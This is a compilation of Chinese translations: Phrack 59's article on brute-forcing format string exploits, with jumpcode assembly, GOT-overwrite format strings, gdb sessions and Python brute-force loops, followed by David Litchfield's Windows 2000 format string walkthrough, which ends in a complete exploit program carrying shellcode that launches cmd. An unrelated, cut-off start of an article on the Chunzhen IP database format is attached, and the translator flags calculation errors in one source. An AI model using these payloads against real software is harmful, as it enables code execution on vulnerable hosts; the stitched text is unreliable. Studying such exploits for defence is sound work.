2005年02月17日

高级format string exploit技术P59-0×07(上)



原文: <<Advances in format string exploiting>>

by gera <gera@corest.com>, riq <riq@corest.com>

翻译整理by

alert7 < alert7@xfocus.org >

主页: http://www.xfocus.org/  http://www.whitecell.org/

yikaikai < yikaikai@sina.com >



第一部分:暴力破解格式化字符串

第二部分:利用堆(heap)字符串(in SPARC)



|=—————=[ 第一部分: 暴力破解格式化字符串          ]=—————=|

|=———————-=[ gera <gera@corest.com> ]=———————=|







    1 – 简介

    2 – 32*32 == 32 – 使用跳转代码(jumpcodes)

      2.1 – 在任何已知地方写入代码

      2.2 – 其他地方的代码

      2.3 – 没有可用的地址

    3 – n倍加快

      3.1 – 多地址覆盖

      3.2 – 多参数暴力破解

    4 – more greets and thanks

    5 – References





前言:



    本文原由whitecell论坛( http://www.whitecell.org/forums/ )yikaikai翻译的,可惜现在

他没有时间,就交由我来翻译了。不过还是要感谢yikaikai的辛苦翻译的前一段。



    本文是讲如何暴力破解format sting的文章。本文讨论的东西使用于类似syslog format string

bug,就是不能利用format string bug得到反馈信息的情况。在可以利用format string bug得到反馈

信息的情况下,我们可以学习得到的信息。从而使我们的exploit更智能。具体请参考pappy@miscmag.com

写的,我翻译的<<如何写远程自动精确定位的format string exploit>>.

本文只是些idea,具体的实现就由你自己来写了.翻译的有点仓促,错误的地方有请各位斧正。



–[ 1. 简介



  也许你在寻找关于format strings exploit的文章。你可以先看scut写的一篇很精彩关于

format strings的文章。



  这篇文章是关于在使用exploit时可以加快暴力破解format stings时速度的两个小技巧。



    "...暴力破解当然不是件快乐的事情,许多exploit的作者都讨厌的东西,人们想方设法的

    使用其他方法来代替暴力破解"



感谢所有在这方面有灵感的人们, 特别是{MaXX, dvorak,Scrippie}, scut[], lg(zip)和 lorian+k.





–[ 2. 32*32 == 32 - 使用跳转代码



   一个format strings的bug可以使往任何数据写到任何地方。作者把它称为write-anything-anywhere

权限。当你有了write-anything-anywhere权限后,在这,描述了一些方法,比如说利用format string

bug改写strcpy()函数的目的指针,free()函数的参数变量和溢出ret2memcpy缓冲(倒,这个具体指什么?)等等。



    Scut[1], shock[2], 和其他一些人阐述了在拥有write-anything-anywhere权限时几种方法

来hook程序的执行流程。例如修改GOT,修改函数指针,修改atexit结构,类的虚拟函数指针等等。当你

想这样做的时候, 你必须知道或者预测出两个不同的地址:函数指针地址和shellcode的地址。 如果你

要盲目的暴力破解的话, 你需要猜测64位。其实也用不了这么多,GOT地址总是开始于0×0804地址,你

的代码总是开始于0×0805…对Linux的确是这样的,所以不是64位, 而是32位。 所以你只需猜测

4,294,967,296次了…你可能想到办法提供4k的nops,这样的话,你就可以每次跳4k,这样就减少到了

1,048,576次。 还有GOT数组每个元素大小是4字节, 剩下了262,144…呵呵,即使是最小的那个

262,144对远程的来说话,还是太大了(对本地的可能还好说点)。



    有时候我们可以使用些其他的技术,如果我们有读权限的话我们可以在目标进程读出些东西来学习,

或者把写权限变成读权限,或者使用大量的nops指令,或者使用目标stack,或者只是硬编码地址值。

等等随你高兴使用。



   你还可以做更多的事情, 因为你不是被限制只能写4字节, 你可以把你的 shellcode写到任意的

地址去。



   其实知道熟悉format strings bug的人都会想到这个—把shellcode写到任意的地址去。

(如果有类试的代码

    for (;;)

       printf(buf);

)

关于这个我也写过一篇拙作<<绕过libsafe的保护–覆盖_dl_lookup_versioned_symbol技术>>,

其中也展现了一种新的技术–覆盖_dl_lookup_versioned_symbol技术。从此,在控制获得程序控制权

方面又多了种方法。



再总结下几种方法:

1. 覆盖GOT

2. 利用DTORS

3. 利用 C library hooks

4. 利用 atexit 结构(静态编译版本才行)

5. 覆盖函数指针

6. 覆盖jmpbuf’s

7. 覆盖dl_lookup_versioned_symbol



其实覆盖dl_lookup_versioned_symbol也是覆盖GOT技术,只不过是ld的GOT





—-[ 2.1 在任何已知地方写入代码



    只要存在format string bug,你就可以把任何东西写到内存的不同地方 ,所以你可以选择

已知的可写的地址。例如0x8051234,我们可以把代码写在这个地方,然后修改函数指针(GOT,atexit

结构等等)让他们指向它:



           GOT[read]:     0×8051234     ; of course using read is just

                                        ; an example



           0×8051234:     shellcode



   现在,shellcode的地址是我们指定的,总是0×8051234,因此你只要暴力破解修改

函数指针地址, 在最坏的情况你将暴力破解这15位。这个量也是非常大的。



    你利用format string使用这种技术的时候可能不能写一个200字节的shellcode(你可以吗?),

也许你只能写一个30字节的shellcode,也可能你只能写几个字节…所以,我们就需要一个

跳转代码(jumpcode).





—-[ 2.2 其他地方的代码



    我相信你能够将一些代码放到目标进程的任何地址内存中。假如是这种情况的话,我们就需要

一段跳转代码(jmpcode)来定位shellcode并且跳到那里。做点这个是比较简单的,只需一点小的技术。



    如果shellcode在堆栈的某处, 假如当跳转代码执行的时候,你大概知道shellcode离

SP有多远的话,你就可以跳到SP+8或+5字节的地方:



              GOT[read]:      0×8051234



              0×8051234:      add $0×200, %esp   ; delta from SP to code

                  jmp *%esp          ; just use esp if you can



              esp+0×200:      nops…            ; just in case delta is

                                             ; not really constant

                          real shellcode     ; this is not writen using

                                             ; the format string



   那么假如shellcode代码在堆(heap)中呢? 你有没有好的想法呢?以下想法来自Kato

(这个版本是18 bytes, Kato’s 版本较长一些,他没有使用format string):



          GOT[read]:      0×8051234



          0×8051234:      cld

                          mov $0×4f54414a,%eax   ; so it doesn find

                  inc %eax               ; itself (tx juliano)

                          mov $0×804fff0, %edi   ; is it low enough?

                                         ; make it lower

                  repne scasl

                  jcxz .-2               ; keep searching!

                  jmp *$edi              ; upper case letters

                                         ; are ok opcodes.



          somewhere

            in heap:      KATO              ; if you know the alignment

        

                      KKATO             ; one is enough, otherwise

                  KKATO             ; make some be found

                  KKATO

                  real shellcode

                      

    假如在stack中,你又不知道它确切在哪里呢?(10bytes)

    

          GOT[read]:      0×8051234



          0×8051234:      mov $0×4f54414a,%ebx   ; so it doesn find

                  inc %ebx               ; itself (tx juliano)

                          pop %eax        //把read的参数pop出来

                          cmp %ebx, %eax

                  jnz .-2

                  jmp *$esp



          somewhere

           in stack:      KATO              ; you’ll know the alignment

                          real shellcode



    在其他地方呢? OK, 你可以自己构造你的jmpcode代码 :-) 不过要小心, ‘KATO’也许不是个

很好构造的string,因为它的执行可能带来些副作用. :-)





–| 友好(friendly)函数  |–

    

   当你修改了GOT,让他指向你的函数,然后就可以做些手脚了。例如,假如你改变了函数指针,

free()函数的参数又指向shellcode的buffer,我们就只需要这样做:(2 bytes)



              GOT[free]:      0×8051234          ; using free this time



          0×8051234:      pop %eax           ; discarding real ret addr

                          ret                ; jump to free’s argument    



   同样地有read()和syslog还有一些其他函数…不同的是,可能你需要一些稍微复杂点的跳转代码:

(7 or 10 bytes)

              GOT[syslog]:    0×8051234          ; using syslog



          0×8051234:      pop %eax           ; discarding real ret addr

                              pop %eax

                  add $0×50, %eax    ; skip some non-code bytes

                  jmp *$eax



   如果没有其他的方法可行, 但是你可以区分crash和挂起(hung), 你可以用一个无限循环来使

目标机挂起(hung):你可以暴力破解GOT的地址直到服务器挂起,然后你就知道GOT的正确位置了,

接着就可以暴力破解shellcode的地址了。



          GOT[exit]:      0×8051234



          0×8051234:      jmp .              ; infinite loop





—-[ 2.3 没有可有的地址

  

   作者不喜欢选用任意的地址,例如0x8051234,他使用了稍微不同的方法



              GOT[free]:      &GOT[free]+4       ; point it to the next 4 bytes

                          jumpcode           ; address is GOT[free]+4



    你不知道GOT[exit]的地址,但是在暴力破解的时候我们假设已经知道,然后使它指向下4个字节。

在那里放置jumpcode.例如,假设GOT[exit]在0×80490994,那么你的跳转代码是0×8049098,

然后你就必须把值0×8049098写入地址0×8049094中。这样的话,当运行exit()的时候就会跳到

0×8049098执行:



  /* fstring.c                                               *

   * demo program to show format strings techinques          *

   * specially crafted to feed your brain by gera@corest.com */



  int main() {

    char buf[1000];



    strcpy(buf,

      ”\x88\x96\x04\x08″          // GOT[free]’s address,这是在我的机子上的地址

      ”\x8a\x96\x04\x08″          //

      ”\x8c\x96\x04\x08″          // jumpcode address (2 byte for the demo)

      ”%.38528u”                  // complete to 0×968c (0×968c-3*4)

      ”%4$hn”                     // write 0×968a to 0×8049688

      ”%.29048u”                  // complete to 0×10804 (0×10804-0×968c)

      ”%5$hn”                     // write 0×0804 to 0×804968a

      ”%.47956u”                  // complete to 0×1c358 (0×1c358-0×10804)

      ”%6$hn”                    // write 0xc35b (pop – ret) to 0×804968c

      );



    printf(buf);

    free(buf);//alert7 add

  }



[alert7@redhat73 alert7]$ gcc -o fstring fstring.c

[alert7@redhat73 alert7]$ gdb fstring -q

(gdb) br main

Breakpoint 1 at 0×8048479

(gdb) r

Starting program: /home/alert7/fstring

Breakpoint 1, 0×08048479 in main ()

(gdb) disass main

Dump of assembler code for function main:

0×8048470 <main>:       push   %ebp

0×8048471 <main+1>:     mov    %esp,%ebp

0×8048473 <main+3>:     sub    $0×3f8,%esp

0×8048479 <main+9>:     sub    $0×8,%esp

0×804847c <main+12>:    push   $0×8048540

0×8048481 <main+17>:    lea    0xfffffc08(%ebp),%eax

0×8048487 <main+23>:    push   %eax

0×8048488 <main+24>:    call   0×8048358 <strcpy>

0×804848d <main+29>:    add    $0×10,%esp

0×8048490 <main+32>:    sub    $0xc,%esp

0×8048493 <main+35>:    lea    0xfffffc08(%ebp),%eax

0×8048499 <main+41>:    push   %eax

0×804849a <main+42>:    call   0×8048338 <printf>

0×804849f <main+47>:    add    $0×10,%esp

0×80484a2 <main+50>:    sub    $0xc,%esp

0×80484a5 <main+53>:    lea    0xfffffc08(%ebp),%eax

0×80484ab <main+59>:    push   %eax

0×80484ac <main+60>:    call   0×8048348 <free>

0×80484b1 <main+65>:    add    $0×10,%esp

(gdb) b * 0×80484ac

Breakpoint 2 at 0×80484ac

(gdb) c



00000000000000000000000000000000000000000000000000000000000000

00000000000000000000000000000000000000000000000000000000000000

Breakpoint 2, 0×080484ac in main ()

(gdb) x/x 0×8049688

0×8049688 <_GLOBAL_OFFSET_TABLE_+28>:   0×0804968c

(gdb) x/2i 0×0804968c

0×804968c <_GLOBAL_OFFSET_TABLE_+32>:   pop    %eax

0×804968d <_GLOBAL_OFFSET_TABLE_+33>:   ret

(gdb) c

Continuing.



Program received signal SIGSEGV, Segmentation fault.

0xbffff720 in ?? ()



ok,已经跳到了buf执行了。



   一开始作者没有加free(buf),程序里就没有用到free函数,free函数是不会出现在GOT中的。

   在例子中,GOT[free]地址是0×8049688, 我们使用 format string bug就把GOT[free]

的值改成了0×0804968c,下次free()被调用时就转到0×0804968c去执行了.



    最后一种方法有另一个好处,它不仅可以用于format string—每次写入不同地址,

而且更可以在具有write-anything-anywhere权限的时候使用。就像覆盖strcpy()函数的目的指针

一样或者是一个ret2memcpy的buffer溢出。假如你足够聪明幸运的话,你自己把这技术应用到

单free()bug( free(buf)时候,buf的chunk可又用户控制).





–[ 3. n倍加快



----[ 3.1 - 多地址覆盖



    如果你能写的多多于4个bytes的话, 你不仅可以将shellcode或jumpcode放到你想要放

的地方,而且可以在同时改变多个指针,再次加快破解速度。



    当然这还需要有write-anything-anywhere权限,这就允许我们一次写不止4bytes。 以下有

种使用format strings的简单方法来把同样的值写到所有的指针。



    假设我们使用下面的格式化字符串在0x08049094地址写入0x12345678:



    "\x94\x90\x04\x08"          // the address to write the first 2 bytes

    "AAAA"                      // space for 2nd %.u

    "\x96\x90\x04\x08"          // the address for the next 2 bytes

    "%08x%08x%08x%08x%08x%08x"  // pop 6 arguments

    "%.22076u"                  // complete to 0x5678 (0x5678-4-4-4-6*8)

    "%hn"                       // write 0x5678 to 0x8049094

    "%.48060u"                  // complete to 0x11234 (0x11234-0x5678)

    "%hn"                       // write 0x1234 to 0x8049096



    因为%hn不向output string加字符,所以我们能够在不用使用padding的情况下把同一个值

写入几个不同的地方。例如,就象下面的format string,把值0x12345678写入了开始于地址0x8049094

的五个连续地址:



    "\x94\x90\x04\x08"          // addresses where to write 0x5678

    "\x98\x90\x04\x08"          //

    "\x9c\x90\x04\x08"          //

    "\xa0\x90\x04\x08"          //

    "\xa4\x90\x04\x08"          //

    "AAAA"                      // space for 2nd %.u

    "\x96\x90\x04\x08"          // addresses for 0x1234

    "\x9a\x90\x04\x08"          //

    "\x9e\x90\x04\x08"          //

    "\xa2\x90\x04\x08"          //

    "\xa6\x90\x04\x08"          //

    "%08x%08x%08x%08x%08x%08x"  // pop 6 arguments

    "%.22044u"                  // complete to 0x5678: 0x5678-(5+1+5)*4-6*8

    "%hn"                       // write 0x5678 to 0x8049094

    "%hn"                       // write 0x5678 to 0x8049098

    "%hn"                       // write 0x5678 to 0x804909c

    "%hn"                       // write 0x5678 to 0x80490a0

    "%hn"                       // write 0x5678 to 0x80490a4

    "%.48060u"                  // complete to 0x11234 (0x11234-0x5678)

    "%hn"                       // write 0x1234 to 0x8049096

    "%hn"                       // write 0x1234 to 0x804909a

    "%hn"                       // write 0x1234 to 0x804909e

    "%hn"                       // write 0x1234 to 0x80490a2

    "%hn"                       // write 0x1234 to 0x80490a6



    或者等同于使用$的情况



    "\x94\x90\x04\x08"          // addresses where to write 0x5678

    "\x98\x90\x04\x08"          //

    "\x9c\x90\x04\x08"          //

    "\xa0\x90\x04\x08"          //

    "\xa4\x90\x04\x08"          //

    "\x96\x90\x04\x08"          // addresses for 0x1234

    "\x9a\x90\x04\x08"          //

    "\x9e\x90\x04\x08"          //

    "\xa2\x90\x04\x08"          //

    "\xa6\x90\x04\x08"          //

    "%.22096u"                  // complete to 0x5678 (0x5678-5*4-5*4)

    "%8$hn"                     // write 0x5678 to 0x8049094

    "%9$hn"                     // write 0x5678 to 0x8049098

    "%10$hn"                    // write 0x5678 to 0x804909c

    "%11$hn"                    // write 0x5678 to 0x80490a0

    "%12$hn"                    // write 0x5678 to 0x80490a4

    "%.48060u"                  // complete to 0x11234 (0x11234-0x5678)

    "%13$hn"                    // write 0x1234 to 0x8049096

    "%14$hn"                    // write 0x1234 to 0x804909a

    "%15$hn"                    // write 0x1234 to 0x804909e

    "%16$hn"                    // write 0x1234 to 0x80490a2

    "%17$hn"                    // write 0x1234 to 0x80490a6



    这个例子中,一次改写了五个“函数指针”,当然也可以改写更多。真正的限制是你能提供多长的字符串,

假如你不直接使用参数(就是不使用$hn情况)的话,你还要考虑为了得到要写的地址,你需要确定pop多少个参数。

一般直接使用参数访问是有限制(Solaris's 库是30, 有些Linuxes 是400, 也许还有其他的值)。



    如果你想将jumpcode和多地址覆盖技术结合起来的话,你必须记住跳转代码(jumpcode)不是在

函数指针的后面的4个bytes, 而是更远, 这起决于你想一次覆盖多少个地址。





----[ 3.2 - 多参数暴力破解



    有时候你不知道需要pop多少个参数,或者使用$hn的时候你不知道需要直接跳多少参数,所以你需要尝试直到

得到正确的数值. 有些时候我们没有更好的方法, 特别是在非盲目暴力破解format string bug的时候。

但是无论如何, 你可能会碰到不知道要pop多少个参数的情况,我们可以使用下面这个例子把它找出来。



    pops = 8

    worked = 0

    while (not worked):

      fstring  = "\x94\x90\x04\x08"        # GOT[free]’s address

      fstring += “\x96\x90\x04\x08″        #

      fstring += “\x98\x90\x04\x08″        # jumpcode address

      fstring += “%.37004u”                # complete to 0×9098

      fstring += “%%%d$hn” % pops          # write 0×9098 to 0×8049094

      fstring += “%.30572u”                # complete to 0×10804

      fstring += “%%%d$hn” % (pops+1)      # write 0×0804 to 0×8049096

      fstring += “%.47956u”                # complete to 0×1c358

      fstring += “%%%d$hn” % (pops+2)      # write (pop – ret) to 0×8049098

      worked = try_with(fstring)

      pops += 1



   这个例子中, 我们使用递增变量’pops’方法来找到合适的值(使用直接参数访问)。假如我们重复多次

使用目标地址,我们就可以使pops变量增长的更快。例如,我们可以重复每个地址5次,这样我们就可以

加快暴力破解的速度了。



    pops = 8

    worked = 0

    while (not worked):

      fstring  = “\x94\x90\x04\x08″ * 5    # GOT[free]’s address

      fstring += “\x96\x90\x04\x08″ * 5    # repeat eddress 5 times

      fstring += “\x98\x90\x04\x08″ * 5    # jumpcode address

      fstring += “%.37004u”                # complete to 0×9098

      fstring += “%%%d$hn” % pops          # write 0×9098 to 0×8049094

      fstring += “%.30572u”                # complete to 0×10804

      fstring += “%%%d$hn” % (pops+6)      # write 0×0804 to 0×8049096

      fstring += “%.47956u”                # complete to 0×1c358

      fstring += “%%%d$hn” % (pops+11)     # write (pop – ret) to 0×8049098

      worked = try_with(fstring)

      pops += 5



    找到5个中任何一个随机的拷贝就可以了, 越多的拷贝速度越快



    这是一个简单的想法,只是重复覆盖地址。如果你有什么疑问,可以用笔和纸画画计算下,

先画出放有format string的stack,再把一些随机参数放在堆栈顶,然后手动开始暴力破解…



    这看起来很傻但也许有天会帮上你, 你永远不可能知道。 当然了, 不直接参数访问

也可以同样做到。但是比较复杂了,因为每次你必须要重新计算%.u的长度。



–[ 未命名和未列出的部分

    

    通过这篇文章, 我的观点是:format string可以做到的比具有4-bytes-write-anything-anywhere

权限的多,它是可以把任意多的字节写到任何地址(也就是说具有full write-anything-anywhre权限),

这会给我们更多的可能。



    好了,文章就写到这里,剩下的就由你来完成了。





--[ 4. more greets and thanks



    riq, for trying every stupid idea I have and making it real!



    juliano, for being our format strings guru.



    Impact, for forcing me to spend time thinking about all theese amazing

    things.



--[ 5. references



[1] Exploiting Format String Vulnerability, scut’s.

    March 2001. http://www.team-teso.net/articles/formatstring



[2] w00w00 on Heap Overflows, Matt Conover (shok) and w00w00 Security Team.

    January 1999. http://www.w00w00.org/articles.html



[3] Juliano’s badc0ded

    http://community.corest.com/~juliano



[4] Google the oracle.

    http://www.google.com

Windows 2000中格式化字符的安全问题

原文名称:《Windows 2000 Format String Vulnerabilities》
原文作者:David Litchfield
原文下载:http://www.nextgenss.com/papers/win32format.doc

翻译:refdom
Email: refdom@263.net
Homepage: www.opengram.com
2002-2-22

即使只有一点C语言基础的人也会printf()函数,实际上C语言教科书上通常的第一个程序就是
“Hello, World!”,Kernighan and Ritchie在《The C Programming Language》中引发的惯例。

#include <stdio.h>
void main(void)
{
printf(“\nHello,World!\n\n”);
}

这并没有完,在C语言中,当编译并运行这个程序向屏幕打印“Hello, World!”并不是简单的向屏
幕输出字符串。和相关的程序fprintf(),vprintf() 以及 sprintf()等一样,就想在print后面加上“f”
,这些实际上是打印格式。格式化部分允许程序员控制显示文本的样式。可以通过代替特殊的格式字符来
显示值或数据,比如,要显示整型的变量“dVal”的值,就可以使用下面的格式化字符:

printf(“The value is %d”,dVal);

打印的时候,%d就被dVal的值所代替。如果程序员想用十六进制显示同样值:

printf(“The value in decimal is %d and in hexadecimal is %x”,dVal,dVal);

这里%d表示十进制的dVal值,%x表示十六进制的dVal的值。下面是集中特殊的格式化字符:


%c 单字符格式
%d 十进制整型 (pre ANSI)
%e,%E 指数形式的 float or double
%f 十进制 float or double
%I 整型 (like %d)
%o 八进制整型
%p 地址指针
%s 字符串
%x,%X 十六进制整型

当然,功能不仅限于怎么控制显示的数据类型,而且也能控制显示的宽度和队列等。

一个格式字符%n没有列在上面,因为有特殊用途,但是它存在的格式化字符安全问题也非常严重。%n用
于把前面打印的字符数记录到一个变量中。也用于统计格式化的字节数,这当然需要一个空间来存储这个数
字,因此程序需要为此分配内存,例如下面的代码:


1. #include <stdio.h>
2. int main()
3. {
4. int bytes_formatted=0;
5. char buffer[28]=”ABCDEFGHIJKLMNOPQRSTUVWXYZ”;

6. printf(“%.20x%n”,buffer,&bytes_formatted);
7. printf(“\nThe number of bytes formatted in the previous printf statement was %d\n”,bytes_formatted);

8. return 0;
9. }

编译后输出显示为:

0000000000000012ff64
The number of bytes formatted in the previous printf statement was 20

我们在第四行申明了一个int类型的变量bytes_formatted,在第六行,格式化字符表示20个字符应该按
十六进制 (“%.20x”) 进行格式化,%n则把值20写到bytes_formatted变量中。这意味着我们写了一个值到另
外的内存空间中。现在我们不讨论编译者写数值或者写地址的影响,而讨论那种通过通过某种方式在操作这些
值的时候造成了缺陷(溢出),如果这样成功的话,可能获得超过程序的执行控制。

在程序员试图传递一个字符串到一个使用格式化字符的格式函数中,就可能发生溢出情况。参考下面的程序。


#include <stdio.h>
void main(int argc, char *argv[])
{
int count = 1;
while(argc > 1)
{
printf(argv[count]);
printf(“ “);
count ++;
argc –;
}
}

编译后运行和显示如下:

Prompt: myecho hello
hello
Prompt: myecho this is some text
this is some text

So it justs spits back what we feed in – or does it? Try:

Prompt: myecho %x%x
112ffc0

注意到myecho %x%x,并没有按照原本的意思打印出来,却显示的十六进制数?原因正是因为这些属于格式
化字符,它们被传递给printf()函数却没有用函数来解释这些字符,被认为是格式化字符。安全的写法应该是
printf(“%s”,argv[count]);
而不是:
printf(argv[count]);

一个攻击者能够怎么利用呢?使用 “%n”格式化字符,能写任意值到他们选定的内存中!如果实现了,就
能够控制程序的执行。例如,在Intel上,能就可以重写堆栈中的地址,并指向他们的攻击代码,这可以执行任
意目的的程序。这种格式化字符漏洞利用起来需要考虑使用函数、操作系统和处理器类型。


Windows 2000 / Intel 下的格式化字符漏洞问题

考虑下面有漏洞的代码:

#include <stdio.h>

int main(int argc, char *argv[])
{
char buffer[512]=”";
strncpy(buffer,argv[1],500);
printf(buffer);
return 0;
}

这个程序拷贝第一个参数到一个缓冲区,然后简单地把缓冲区传递给 printf, 有问题的代码是这一行:

printf(buffer);

因为我们可以提供一个格式化字符作为第一个参数,而被传递给 printf() ,假设这个程序编译后叫 printf.exe。

我们现在需要作的就是试图用我们提供的地址来重写堆栈中函数的返回地址,我们提供的地址可以指向攻击
代码(shell code)。要达到这样的目的,我们需要得到格式化打印的确切字节数,用来匹配我们需要用的地址。
例如,如果我们的攻击代码在地址0×0012FF40处,那么,我们就要让 printf 表达式格式0×0012FF40个字节,我
们的格式化字符串就可以是:

c:\>printf %.622496x%.622496x%n

这就让1244992字节被printf表达式格式化打印,这个数字的十六进制就是0×0012FF40。但是目前并不完善,
我们需要把exploit代码也放进去,这需要占据字节数。因此,我们要产生shell ,在windows 2000中这至多需
要 40字节的 exploit code ,因此,需要修改我们的格式化字符串放入我们的代码就需要从622496中减去40。
就变成:

c:\>printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%.622496x%.622456x%n

在这个例子中,我们只是简单地用字符“A”替代我们的攻击代码。现在可以运行它但是可能发生非法存取
问题,因为程序试图写的地址0×41414141可能没有初始化。当这个问题出现的时候调试程序,正如看到的,不愉
快的一行是:

mov dword ptr [eax],ecx

它试图移动(mov)ecx (etc是0×0012FF40,也就是是我们需要找到的地址)到 eax (现在是0×41414141)
地址中,由于0×41414141这个区域还没有初始化,所以就会出现存取错误。同时,我们调试并找到攻击代码字符
串(我们刚才只是假设它们的地址是0×0012FF40),但是它们却并不在0×0012FF40存在,而是在地址0×0012FD80
中。相差并不远,但是,要利用起来是需要非常精确的。因此,需要再次修改那些格式字符串。在这之前,我们
是通过找一个合适的目标(需要重写的返回地址)来进行的。我们发现了一个相似的目标,地址0×0012FD54,它
储存的地址是0×00401077,因此,我们可以类似这样来进行。现在接着要达到的目的就是要重写EI为P
地址0×0012FD80,这个地址就是攻击代码的地址。如果达到这个目的,把这个返回地址推送到堆栈中,进程就会
开始执行我们的攻击代码了。怎样才能重写地址0×0012FD54,而刚才我们做的事情却一直是在试图重写地址
0×41414141?好,这是一个线索。%n格式化字符把指向字符串中某处的指针标志到字符串的结尾处。我们要做的
就是把%n从我们格式化字符串中的某个位置变化到字符串结尾处,要达到这个目的就需要使用添加更多的%x来完成,
我们用BBBB来标记我们的字符串结尾。

c:\>printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%.622496x%.622456x%nBBBB

这是,程序试图写的地址是0×78257825,我们转换成十进制数发现0×78只是小写的“x”,0×25是“%”,所以
看出来现在写的位置还是”%x%x%x%x”中的某个地方,这样,我们就继续试探,增加更多的%x:

c:\>printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%.622496x%.622456x%nBBBB

这次正好到了,现在要试图写的地址就是0×42424242(也就是BBBB),我们把BBBB代替成攻击代码的返回位
置0×0012FD54。但是,我们只是在这里可以用ASCII很简单地写0×12 或者 0xFD,所以需要写另外的一个程序来帮
我们把这些值写进去。刚才我们用%x一直达到能够重写我们需要的地址0×0012FD80,而现在这个值变成了
0×00130019(refdom注:因为多了很多%x,所以让%n的大小也增加了),我们需要少写665字节内容,把刚才的622456
改变成621791,我们的程序就是:

#include <stdio.h>

int main()
{
char buffer[500]=”printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x %x%x%.622496x%.621791x%n\x54\xFD\x12″;

system(buffer);

return 0;
}

编译运行后又有了一个新的非法存取问题:在0×0012FF90处的指令引用了0×00000030处的存储器。注意,
在0×0012FF90处的指令(这是一个堆栈地址),并且显然,我们的进程正试图执行堆栈中的代码,我们的格式
化字符串exploit起作用了!我们已经成功地用我们的地址重写了返回地址,并将程序引到那里去了。现在,我
们需要把exploit代码放进去,刚才我们只是用AAA来代替了。我们先做一个确定,替代前面的四个A成为一个检
查点:

#include <stdio.h>
int main()
{
char buffer[500]=”printf “;
charbuffer2[]=”AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%.622496x%.621791x%n\x54\xFD\x12″;
strcat(buffer,”\xCC\xCC\xCC\xCC”);
strcat(buffer,buffer2);
system(buffer);
return 0;
}

(注:代码中charbuffer2中比前面的少了四个A,用后面的\xCC\xCC\xCC\xCC代替了)

当运行到这个检查点的时候,我们又回到了代码。现在能够确认我们已经能够获得并控制程序的执行,接着
放入我们的exploit代码。假设我们的shell代码是下面的:

push ebp // Procedure Prologue – often not needed
mov ebp,esp // Procedure Prologue – often not needed
xor edi,edi // Get some NULLs
push edi // Push them onto the stack
mov byte ptr [ebp-04h],63h // Write ‘c’ of cmd
mov byte ptr [ebp-03h],6Dh // Write ‘m’ of cmd
mov byte ptr [ebp-02h],64h // Write ‘d’ of cmd
push edi // Push NULLs again (2nd Param for WinExec())
mov byte ptr [ebp-08h],03h // Turn it into SW_MAXIMIZE
lea eax,[ebp-04h] // Load address of cmd into EAX
push eax // Push it onto stack (1st Param for WinExec())
mov eax, 0×77E9B50E // Move address of WinExec() into EAX
call eax //<—- Call it

这样,我们的程序就成为:

#include <stdio.h>

int main()
{
char buffer[500]=”printf “;
char exploit_code[]=”,”\x55\x8B\xEC\x33\xFF\x57\xC6\x45\xFC\x63\xC6
\x45\xFD\x6D\xC6\x45\xFE\x64\x57\xC6\x45\xF8\x01\x8D\x45\xFC\x50\xB8\x0E\xB5\xE9\x77\xFF\xD0\xCC”;
char buffer2[]=”AAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%.622496x%.621791x%n \x54\xFD\x12″;

strcat(buffer,exploit_code);
strcat(buffer,buffer2);

system(buffer);

return 0;
}

编译后运行了新的shell。

这是在WIN2000中利用格式化字符漏洞的一种简单方法。整个思路就是:我们格式化一个跟exploit代码地
址位置这么大小的字符串,并用这个值重写了堆栈中程序的返回地址,这样,当子程序运行返回后不是返回本
来的地址,相反,而是接着我们替代的地址继续执行程序了。
利用printf类函数并不一定跟这个例子一样。例如:如果在用vsprintf函数的有问题代码
(在Van Dyke Technologies’ SSH Server for Windows, Vshell,发现过),攻击者并不能象printf()这样
选择内存位置,它被限制在参数列表及其以后的一个地址段中,而象VShell,第十三个参数是一个保存这一个函
数指针的地址,因此可以用攻击者的函数指针重写这个地址来利用,更多的关于这个问题的信息可以参考:
http://www.atstake.com/research/advisories/2001/a021601-1.txt


注:A note on Windows NT 4.0

在NT4.0上利用格式化字符问题不同于WIN2000,这是因为NT对于printf()类函数有一个516字符的限制:

printf(“%.516x”,foo);这个是可行的,但是:

printf(“%.517x”,foo);就会有核心溢出问题。

所以问题就出在要利用这个格式化漏洞,我们就时常需要写一个非常大的值。我们写这个值的时候需要和最
大宽度相关了:

printf(“%.500x%n”,foo,bar); 会写数字500(0×1F4) 到bar的地址,现在,假设需要用我们的
exploit代码的地址(可以在堆栈中找到)来重写堆栈中的返回地址,在NT平台下,这个堆栈通常在0×0012ffff周
围,那么为了象上面的例子那样,我们就必须写“%.500x”大约 2500次!!这要求15,000字节的空间。在NT上,
并不象WIN2000中这么直接了。

(refdom备注:关于原文中的例子,不知道是我理解上的错误还是原文的错误,一些数字大小计算上有差错)

纯真IP数据库格式详解


摘要

网络上的IP数据库以纯真版的最为流行,LumaQQ也采用了纯真版IP数据库做为IP查询功能的基础。不过关于其格式的文档却非常之少,后来终于在网上
找到了一份文档,得以了解其内幕,不过那份文档寥寥数语,也是颇为耐心才读明白。在这里我重写一份,以此做为LumaQQ开发者文档的一部分,我想还是必
要的。本文详细介绍了纯真IP数据库的格式,并且给出了一些Demo以供参考。

Luma, 清华大学

修改日期: 2005/01/14

Note: 在此感谢纯真IP数据库作者金狐和那唯一一份文档的作者。

更新说明: 最初的版本中存在一些表述的错误,01/14的更新修正了这些情况


自从有了IP数据库这种东西,QQ外挂的显示IP功能也随之而生,本人见识颇窄,是否还有其他应用不得而知,不过,IP数据库确实是个不错的东西。
如今网络上最流行的IP数据库我想应该是纯真版的(说错了也不要扁我),迄今为止其IP记录条数已经接近30000,对于有些IP甚至能精确到楼层,不亦
快哉。2004年4、5月间,正逢LumaQQ破土动工,为了加上这个人人都喜欢,但是好像人人都不知道为什么喜欢的显IP功能,我也采用了纯真版IP数
